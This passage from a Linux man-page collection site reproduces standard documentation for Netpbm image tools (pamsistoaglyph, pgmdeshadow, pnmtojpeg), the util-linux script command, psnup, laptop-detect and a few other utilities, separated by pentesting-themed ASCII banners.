Limit the number of gray levels to use when searching for the optimal eye-separation distance. Because pamsistoaglyph looks for repeated patterns, it is vulnerable to being confused by slight variations in color. By reducing the input image to grayscale and capping the number of gray levels, pamsistoaglyph ameliorates the effects of unintentional color variations (such as those caused by conversion from a low-quality JPEG image, for example). The default of 63 seems to work well so the –gray option should rarely be necessary.

NOTES

The registration algorithm used by pamsistoaglyph was developed specifically for this program. As far as the author knows, there are no existing algorithms for converting stereograms to anaglyphs. The algorithm works as follows:

  • Convert the image to grayscale to increase the ability to identify matches.

  • Count the number of pixels that match N pixels ahead in the image for all N in [1, width/2].

  • Maintain a running mean (mu) and standard deviation (sigma) of the number of matched pixels.

  • Store the N corresponding to each spike in the number of matched pixels. A spike is defined as a tally that exceeds the mean plus one, two, or three standard deviations. Only the first spike of a given standard-deviation multiplier is stored.

  • If a tally greater than mu+3sigma was encountered, return the corresponding N. If not, then if a tally greater than mu+2sigma was encountered, return the corresponding N. If not, then if a tally greater than mu+sigma was encountered, return the corresponding N. If not, then return the N that produces the minimum average distance between matched pixels (i.e., #matches divided by #pixels). If no such N exceeds the minimum allowable eye-separation value, return zero to indicate failure.

  • If the algorithm returned zero, rerun the algorithm independently on each row of the input image and return the median of all N that exceed the minimum allowable eye-separation value. If no such N exists, abort with an error message.

HISTORY

Scott Pakin wrote pamsistoaglyph in April 2009. It first appeared in Netpbm in Release 10.47 (June 2009).

AUTHOR

Copyright (C) 2009 Scott Pakin, [email protected]

SEE ALSO

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pamsistoaglyph.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1010 - Linux cli command pgmdeshadow

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgmdeshadow and provides detailed information about the command pgmdeshadow, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgmdeshadow.

.

NAME 🖥️ pgmdeshadow 🖥️

Deshadow a PGM image

SYNOPSIS

pgmdeshadow

[pnmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pgmdeshadow removes gray shadows from an image. This is useful for an image containing text, such as a scanned book pages, where a shadow typically appears near the book crease or near one side of the image. pgmdeshadow recognizes a gray shadow as an area of smoothly changing color, starting from the outer edges of the image. The program uses a simple image reconstruction algorithm to determine the local shadow gray level, then divides each pixel’s gray level by the local shadow gray level.

The algorithm is the “fast hybrid grayscale reruction” algorithm from Luc Vincent, “Morphological Grayscale Reruction in Image Analysis: Applications and Efficient Algorithms.

OPTIONS

There are no command line options defined specifically for pgmdeshadow, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

REFERENCES

  • Luc Vincent, “Morphological Grayscale Reconstruction in Image Analysis: Applications and Efficient Algorithms,” IEEE Transactions on Image Processing, vol. 2, no. 2, April 1993, pp. 176-201.

SEE ALSO

ppmshadow(1) , pgm(1)

HISTORY

pgmdeshadow was added to Netpbm in Version 10.35 (August 2006).

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pgmdeshadow.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1011 - Linux cli command script

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command script and provides detailed information about the command script, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the script.

NAME 🖥️ script 🖥️

make typescript of terminal session

SYNOPSIS

script [options] [file]

DESCRIPTION

script makes a typescript of everything on your terminal session. The terminal data are stored in raw form to the log file and information about timing to another (optional) structured log file. The timing log file is necessary to replay the session later by scriptreplay(1) and to store additional information about the session.

Since version 2.35, script supports multiple streams and allows the logging of input and output to separate files or all the one file. This version also supports a new timing file which records additional information. The command scriptreplay –summary then provides all the information.

If the argument file or option –log-out file is given, script saves the dialogue in this file. If no filename is given, the dialogue is saved in the file typescript.

Note that logging input using –log-in or –log-io may record security-sensitive information as the log file contains all terminal session input (e.g., passwords) independently of the terminal echo flag setting.

OPTIONS

Below, the size argument may be followed by the multiplicative suffixes KiB (=1024), MiB (=1024*1024), and so on for GiB, TiB, PiB, EiB, ZiB and YiB (the “iB” is optional, e.g., “K” has the same meaning as “KiB”), or the suffixes KB (=1000), MB (=1000*1000), and so on for GB, TB, PB, EB, ZB and YB.

-a, –append

Append the output to file or to typescript, retaining the prior contents.

-c, –command command

Run the command rather than an interactive shell. This makes it easy for a script to capture the output of a program that behaves differently when its stdout is not a tty.

-E, –echo when

This option controls the ECHO flag for the slave end of the session’s pseudoterminal. The supported modes are always, never, or auto.

The default is auto — in this case, ECHO enabled for the pseudoterminal slave; if the current standard input is a terminal, ECHO is disabled for it to prevent double echo; if the current standard input is not a terminal (for example pipe: echo date | script) then keeping ECHO enabled for the pseudoterminal slave enables the standard input data to be viewed on screen while being recorded to session log simultaneously.

Note that never mode affects content of the session output log, because users input is not repeated on output.

-e, –return

Return the exit status of the child process. Uses the same format as bash termination on signal termination (i.e., exit status is 128 + the signal number). The exit status of the child process is always stored in the type script file too.

-f, –flush

Flush output after each write. This is nice for telecooperation: one person does mkfifo foo; script -f foo, and another can supervise in real-time what is being done using cat foo. Note that flush has an impact on performance; it’s possible to use SIGUSR1 to flush logs on demand.

–force

Allow the default output file typescript to be a hard or symbolic link. The command will follow a symbolic link.

-B, –log-io file

Log input and output to the same file. Note, this option makes sense only if –log-timing is also specified, otherwise it’s impossible to separate output and input streams from the log file.

-I, –log-in file

Log input to the file. The log output is disabled if only –log-in specified.

Use this logging functionality carefully as it logs all input, including input when terminal has disabled echo flag (for example, password inputs).

-O, –log-out file

Log output to the file. The default is to log output to the file with name typescript if the option –log-out or –log-in is not given. The log output is disabled if only –log-in specified.

-T, –log-timing file

Log timing information to the file. Two timing file formats are supported now. The classic format is used when only one stream (input or output) logging is enabled. The multi-stream format is used on –log-io or when –log-in and –log-out are used together. See also –logging-format.

-m, –logging-format format

Force use of advanced or classic timing log format. The default is the classic format to log only output and the advanced format when input as well as output logging is requested.

Classic format

The timing log contains two fields, separated by a space. The first field indicates how much time elapsed since the previous output. The second field indicates how many characters were output this time.

Advanced (multi-stream) format

The first field is an entry type identifier (I’nput, O’utput, H’eader, S’ignal). The second field is how much time elapsed since the previous entry, and the rest of the entry is type-specific data.

-o, –output-limit size

Limit the size of the typescript and timing files to size and stop the child process after this size is exceeded. The calculated file size does not include the start and done messages that the script command prepends and appends to the child process output. Due to buffering, the resulting output file might be larger than the specified value.

-q, –quiet

Be quiet (do not write start and done messages to standard output).

-t[file], –timing[=file]

Output timing data to standard error, or to file when given. This option is deprecated in favour of –log-timing where the file argument is not optional.

-h, –help

Display help text and exit.

-V, –version

Print version and exit.

SIGNALS

Upon receiving SIGUSR1, script immediately flushes the output files.

ENVIRONMENT

The following environment variable is utilized by script:

SHELL

If the variable SHELL exists, the shell forked by script will be that shell. If SHELL is not set, the Bourne shell is assumed. (Most shells set this variable automatically).

NOTES

The script ends when the forked shell exits (a control-D for the Bourne shell (sh(1p)), and exit, logout or control-d (if ignoreeof is not set) for the C-shell, csh(1)).

Certain interactive commands, such as vi(1), create garbage in the typescript file. script works best with commands that do not manipulate the screen, the results are meant to emulate a hardcopy terminal.

It is not recommended to run script in non-interactive shells. The inner shell of script is always interactive, and this could lead to unexpected results. If you use script in the shell initialization file, you have to avoid entering an infinite loop. You can use for example the .profile file, which is read by login shells only:

if test -t 0 ; then script exit fi

You should also avoid use of script in command pipes, as script can read more input than you would expect.

HISTORY

The script command appeared in 3.0BSD.

BUGS

script places everything in the log file, including linefeeds and backspaces. This is not what the naive user expects.

script is primarily designed for interactive terminal sessions. When stdin is not a terminal (for example: echo foo | script), then the session can hang, because the interactive shell within the script session misses EOF and script has no clue when to close the session. See the NOTES section for more information.

SEE ALSO

csh(1) (for the history mechanism), scriptreplay(1), scriptlive(1)

REPORTING BUGS

For bug reports, use the issue tracker at <https://github.com/util-linux/util-linux/issues>.

AVAILABILITY

The script command is part of the util-linux package which can be downloaded from Linux Kernel Archive <https://www.kernel.org/pub/linux/utils/util-linux/>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1012 - Linux cli command wsrep_sst_backup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command wsrep_sst_backup and provides detailed information about the command wsrep_sst_backup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the wsrep_sst_backup.

NAME 🖥️ wsrep_sst_backup 🖥️

backup helper script for the MariaDB Galera Cluster

DESCRIPTION

Use: See source code of script.

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1013 - Linux cli command x86_64-w64-mingw32ucrt-dllwrap

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-w64-mingw32ucrt-dllwrap and provides detailed information about the command x86_64-w64-mingw32ucrt-dllwrap, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-w64-mingw32ucrt-dllwrap.

NAME 🖥️ x86_64-w64-mingw32ucrt-dllwrap 🖥️

Ancient tool for generating PE style dll’s.

DESCRIPTION

dllwrap is deprecated. You should not use it for any new code. Use ld –shared instead.

OPTIONS

-h, –help
Show summary of options.

AUTHOR

This manual page was written by Ron <[email protected]>, for the Debian project (but may be used by others).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1014 - Linux cli command psnup

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command psnup and provides detailed information about the command psnup, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the psnup.

NAME 🖥️ psnup 🖥️

multiple pages per sheet

SYNOPSIS

psnup [ -wwidth ] [ -hheight ] [ -ppaper ] [ -Wwidth ] [ -Hheight ] [ -Ppaper ] [ -l ] [ -r ] [ -f ] [ -c ] [ -mmargin ] [ -bborder ] [ -dlwidth ] [ -sscale ] [ -nup ] [ -q ] [ infile [ outfile ] ]

DESCRIPTION

Psnup puts multiple logical pages onto each physical sheet of paper. The input PostScript file should follow the Adobe Document Structuring Conventions.

The -w option gives the paper width, and the -h option gives the paper height, normally specified in cm or in. The -p option can be used as an alternative, to set the paper size to a0, a1, a2, a3, a4, a5, b5, letter, legal, tabloid, statement, executive, folio, quarto or 10x14. The default paper size is normally a4, but on a Debian system, /etc/papersize is consulted. The -W, -H, and -P options set the input paper size, if it is different from the output size. This makes it easy to impose pages of one size on a different size of paper.

The -l option should be used for pages which are in landscape orientation (rotated 90 degrees anticlockwise). The -r option should be used for pages which are in seascape orientation (rotated 90 degrees clockwise), and the -f option should be used for pages which have the width and height interchanged, but are not rotated.

Psnup normally uses `row-major’ layout, where adjacent pages are placed in rows across the paper. The -c option changes the order to `column-major’, where successive pages are placed in columns down the paper.

A margin to leave around the whole page can be specified with the -m option. This is useful for sheets of `thumbnail’ pages, because the normal page margins are reduced by putting multiple pages on a single sheet.

The -b option is used to specify an additional margin around each page on a sheet.

The -d option draws a line around the border of each page, of the specified width. If the lwidth parameter is omitted, a default linewidth of 1 point is assumed. The linewidth is relative to the original page dimensions, i.e. it is scaled down with the rest of the page.

The scale chosen by psnup can be overridden with the -s option. This is useful to merge pages which are already reduced.

The -nup option selects the number of logical pages to put on each sheet of paper. This can be any whole number; psnup tries to optimise the layout so that the minimum amount of space is wasted. If psnup cannot find a layout within its tolerance limit, it will abort with an error message. The alternative form -i nup can also be used, for compatibility with other n-up programs.

Psnup normally prints the page numbers of the pages re-arranged; the -q option suppresses this.

EXAMPLES

The potential use of this utility is varied but one particular use is in conjunction with psbook(1). For example, using groff to create a PostScript document and lpr as the

print spooler a typical command line might look like this:

groff -Tps -ms file | psbook | psnup -2 | lpr

Where file is a 4 page document this command will result in a two page document printing two pages of file per page and rearranges the page order to match the input pages 4 and 1 on the first output page and pages 2 then 3 of the input document on the second output page.

AUTHOR

Copyright (C) Angus J. C. Duggan 1991-1995

SEE ALSO

psbook(1), psselect(1), pstops(1), epsffit(1), psnup(1), psresize(1), psmerge(1), fixscribeps(1), getafm(1), fixdlsrps(1), fixfmps(1), fixpsditps(1), fixpspps(1), fixtpps(1), fixwfwps(1), fixwpps(1), fixwwps(1), extractres(1), includeres(1), showchar(1)

TRADEMARKS

PostScript is a trademark of Adobe Systems Incorporated.

BUGS

Psnup does not accept all DSC comments.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1015 - Linux cli command laptop-detect

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command laptop-detect and provides detailed information about the command laptop-detect, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the laptop-detect.

NAME 🖥️ laptop-detect 🖥️

detect - attempt to detect a laptop

SYNOPSIS

laptop-detect [-h|–help|-v|–verbose|-V|–version|-D|–debug]

DESCRIPTION

Laptop-detect attempts to determine whether it is being run on a laptop or a desktop and appraises its caller of this.

OPTIONS

-h –help
Output help information and exit.

-v –verbose
be verbose (messages go to STDOUT)

-V –version
Output version information and exit.

-D –debug
Debug mode.

EXIT STATUS

0	most likely running on a laptop
1	most likely NOT running on a laptop
2	usage error (arguments supplied)

FILES

/proc/acpi/battery
/proc/pmu/info
/dev/mem
/sys/devices/virtual/dmi/id/chassis_type
/sys/class/power_supply/*/type
/proc/apm

SEE ALSO

dmidecode(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1016 - Linux cli command pnmtojpeg

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pnmtojpeg and provides detailed information about the command pnmtojpeg, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pnmtojpeg.

.

NAME 🖥️ pnmtojpeg 🖥️

convert PNM image to a JFIF (“JPEG”) image

SYNOPSIS

pnmtojpeg [-exif=filespec] [-quality=n] [{-grayscale|-greyscale}] [-density=nxn[dpi,dpcm]] [-optimize|-optimise] [-rgb] [-progressive] [-comment=text] [-dct={int|fast|float}] [-arithmetic] [-restart=n] [-smooth=n] [-maxmemory=n] [-verbose] [-baseline] [-qtables=filespec] [-qslots=n[,…]] [-sample=HxV[,…]] [**-scans=filespec] [-tracelevel=**N]

filename

Minimum unique abbreviation of option is acceptable. You may use double hyphens instead of single hyphen to denote options. You may use white space in place of the equals sign to separate an option name from its value.

DESCRIPTION

This program is part of Netpbm(1) .

pnmtojpeg converts the named PBM, PGM, or PPM image file, or the standard input if no file is named, to a JFIF file on the standard output.

pnmtojpeg uses the Independent JPEG Group’s JPEG library to create the output file. See http://www.ijg.org for information on the library.

“JFIF” is the correct name for the image format commonly known as “JPEG.” Strictly speaking, JPEG is a method of compression. The image format using JPEG compression that is by far the most common is JFIF. There is also a subformat of TIFF that uses JPEG compression.

EXIF is an image format that is a subformat of JFIF (to wit, a JFIF file that contains an EXIF header as an APP1 marker). pnmtojpeg creates an EXIF image when you specify the -exif option.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pnmtojpeg recognizes the following command line options:

Basic Options

**-exif=**filespec
This option specifies that the output image is to be EXIF (a subformat of JFIF), i.e. it will have an EXIF header as a JFIF APP1 marker. The contents of that marker are the contents of the specified file. The special value - means to read the EXIF header contents from standard input. It is invalid to specify standard input for both the EXIF header and the input image.

The EXIF file starts with a two byte field which is the length of the file, including the length field, in pure binary, most significant byte first. The special value of zero for the length field means there is to be no EXIF header, i.e. the same as no -exif option. This is useful for when you convert a file from JFIF to PNM using jpegtopnm, then transform it, then convert it back to JFIF with pnmtojpeg, and you don’t know whether or not it includes an EXIF header. jpegtopnm creates an EXIF file containing nothing but two bytes of zero when the input JFIF file has no EXIF header. Thus, you can transfer any EXIF header from the input JFIF to the output JFIF without worrying about whether an EXIF header actually exists.

The contents of the EXIF file after the length field are the exact byte for byte contents of the APP1 marker, not counting the length field, that constitutes the EXIF header.

**-quality=**n
Scale quantization tables to adjust image quality. n is 0 (worst) to 100 (best); default is 75. Below about 25 can produce images some interpreters won’t be able to interpret. See below for more info.

-grayscale
-greyscale
-rgb
These options determine the color space used in the JFIF output. -grayscale (or -greyscale) means to create a gray scale JFIF, converting from color PPM input if necessary. -rgb means to create an RGB JFIF, and the program fails if the input is not PPM.

If you specify neither, The output file is in YCbCr format if the input is PPM, and grayscale format if the input is PBM or PGM.

YCbCr format (a color is represented by an intensity value and two chrominance values) usually compresses much better than RGB (a color is represented by one red, one green, and one blue value). RGB is rare. But you may be able to convert between JFIF and PPM faster with RGB, since it’s the same color space PPM uses.

The testimg.ppm file that comes with Netpbm is 2.3 times larger with the -rgb option than with the YCbCr default, and in one experiment pnmtojpeg took 16% more CPU time to convert it. The extra CPU time probably indicates that processing of all the extra compressed data consumed all the CPU time saved by not having to convert the RGB inputs to YCbCr.

Grayscale format takes up a lot less space and takes less time to create and process than the color formats, even if the image contains nothing but black, white, and gray.

The -rgb option was added in Netpbm 10.11 in October 2002.

**-density=**density
This option determines the density (aka resolution) information recorded in the JFIF output image. It does not affect the raster in any way; it just tells whoever reads the JFIF how to interpret the raster.

The density value takes the form xxy followed by an optional unit specifier of dpi or dpcm. Examples: 1x1, 3x2, 300x300dpi, 100x200dpcm. The first number is the horizontal density; the 2nd number is the vertical density. Each may be any integer from 1 to 65535. The unit specifier is dpi for dots per inch or dpcm for dots per centimeter. If you don’t specify the units, the density information goes into the JFIF explicitly stating “density unspecified” (also interpreted as “unknown”). This may seem pointless, but note that even without specifying the units, the density numbers tell the aspect ratio of the pixels. E.g. 1x1 tells you the pixels are square. 3x2 tells you the pixels are vertical rectangles.

Note that if you specify different horizontal and vertical densities, the resulting JFIF image is not a true representation of the input PNM image, because pnmtojpeg converts the raster pixel-for-pixel and the pixels of a PNM image are defined to be square. Thus, if you start with a square PNM image and specify -density=3x2, the resulting JFIF image is a horizontally squashed version of the original. However, it is common to use an input image which is a slight variation on PNM rather than true PNM such that the pixels are not square. In that case, the appropriate -density option yields a faithful reproduction of the input pseudo-PNM image.

The default is 1x1 in unspecified units.

Before Netpbm 10.15 (April 2003), this option did not exist and the pnmtojpeg always created a JFIF with a density of 1x1 in unspecified units.

-optimize
Perform optimization of entropy encoding parameters. Without this, pnmtojpeg uses default encoding parameters. -optimize usually makes the JFIF file a little smaller, but pnmtojpeg runs somewhat slower and needs much more memory. Image quality and speed of decompression are unaffected by -optimize.

-progressive
Create a progressive JPEG file (see below).

**-comment=**text
Include a comment marker in the JFIF output, with comment text text.

Without this option, there are no comment markers in the output.

The -quality option lets you trade off compressed file size against quality of the reconstructed image: the higher the quality setting, the larger the JFIF file, and the closer the output image will be to the original input. Normally you want to use the lowest quality setting (smallest file) that decompresses into something visually indistinguishable from the original image. For this purpose the quality setting should be between 50 and 95 for reasonable results; the default of 75 is often about right. If you see defects at -quality=75, then go up 5 or 10 counts at a time until you are happy with the output image. (The optimal setting will vary from one image to another.)

-quality=100 generates a quantization table of all 1’s, minimizing loss in the quantization step (but there is still information loss in subsampling, as well as roundoff error). This setting is of interest mainly for experimental purposes. Quality values above about 95 are not recommended for normal use; the compressed file size goes up dramatically for hardly any gain in output image quality.

In the other direction, quality values below 50 will produce very small files of low image quality. Settings around 5 to 10 might be useful in preparing an index of a large image library, for example. Try -quality=2 (or so) for some amusing Cubist effects. (Note: quality values below about 25 generate 2-byte quantization tables, which are considered optional in the JFIF standard. pnmtojpeg emits a warning message when you give such a quality value, because some other JFIF programs may be unable to decode the resulting file. Use -baseline if you need to ensure compatibility at low quality values.)

The -progressive option creates a “progressive JPEG” file. In this type of JFIF file, the data is stored in multiple scans of increasing quality. If the file is being transmitted over a slow communications link, the decoder can use the first scan to display a low-quality image very quickly, and can then improve the display with each subsequent scan. The final image is exactly equivalent to a standard JFIF file of the same quality setting, and the total file size is about the same – often a little smaller.

Caution: progressive JPEG is not yet widely implemented, so many decoders will be unable to view a progressive JPEG file at all.

If you’re trying to control the quality/file size tradeoff, you might consider the JPEG2000 format instead. See pamtojpeg2k(1) .

Advanced options

-dct=int
Use integer DCT method (default).

-dct=fast
Use fast integer DCT (less accurate).

-dct=float
Use floating-point DCT method. The float method is very slightly more accurate than the int method, but is much slower unless your machine has very fast floating-point hardware. Also note that results of the floating-point method may vary slightly across machines, while the integer methods should give the same results everywhere. The fast integer method is much less accurate than the other two.

-arithmetic
Use arithmetic coding. Default is Huffman encoding. Arithmetic coding tends to get you a smaller result.

You may need patent licenses to use this option. According to the JPEG FAQ , This method is covered by patents owned by IBM, AT&T, and Mitsubishi.

The author of the FAQ recommends against using arithmetic coding (and therefore this option) because the space savings is not great enough to justify the legal hassles.

Most JPEG libraries, including any distributed by the Independent JPEG Group since about 1998 are not capable of arithmetic encoding. pnmtojpeg uses a JPEG library (either bound to it when the pnmtojpeg executable was built or accessed on your system at run time) to do the JPEG encoding. If pnmtojpeg terminates with the message, “Sorry, there are legal restrictions on arithmetic coding” or “Sorry, arithmetic coding not supported,” this is the problem.

**-restart=**n
Emit a JPEG restart marker every n MCU rows, or every n MCU blocks if you append B to the number. -restart 0 (the default) means no restart markers.

**-smooth=**n
Smooth the input image to eliminate dithering noise. n, ranging from 1 to 100, indicates the strength of smoothing. 0 (the default) means no smoothing.

**-maxmemory=**n
Set a limit for amount of memory to use in processing large images. Value is in thousands of bytes, or millions of bytes if you append M to the number. For example, -max=4m selects 4,000,000 bytes. If pnmtojpeg needs more space, it will use temporary files.

-verbose
Print to the Standard Error file messages about the conversion process. This can be helpful in debugging problems.

The -restart option tells pnmtojpeg to insert extra markers that allow a JPEG decoder to resynchronize after a transmission error. Without restart markers, any damage to a compressed file will usually ruin the image from the point of the error to the end of the image; with restart markers, the damage is usually confined to the portion of the image up to the next restart marker. Of course, the restart markers occupy extra space. We recommend -restart=1 for images that will be transmitted across unreliable networks such as Usenet.

The -smooth option filters the input to eliminate fine-scale noise. This is often useful when converting dithered images to JFIF: a moderate smoothing factor of 10 to 50 gets rid of dithering patterns in the input file, resulting in a smaller JFIF file and a better-looking image. Too large a smoothing factor will visibly blur the image, however.

Wizard Options

-baseline
Force baseline-compatible quantization tables to be generated. This clamps quantization values to 8 bits even at low quality settings. (This switch is poorly named, since it does not ensure that the output is actually baseline JPEG. For example, you can use -baseline and -progressive together.)

**-qtables=**filespec
Use the quantization tables given in the specified text file.

-qslots=n[,…]
Select which quantization table to use for each color component.

-sample=HxV[,…]
Set JPEG sampling factors for each color component.

**-scans=**filespec
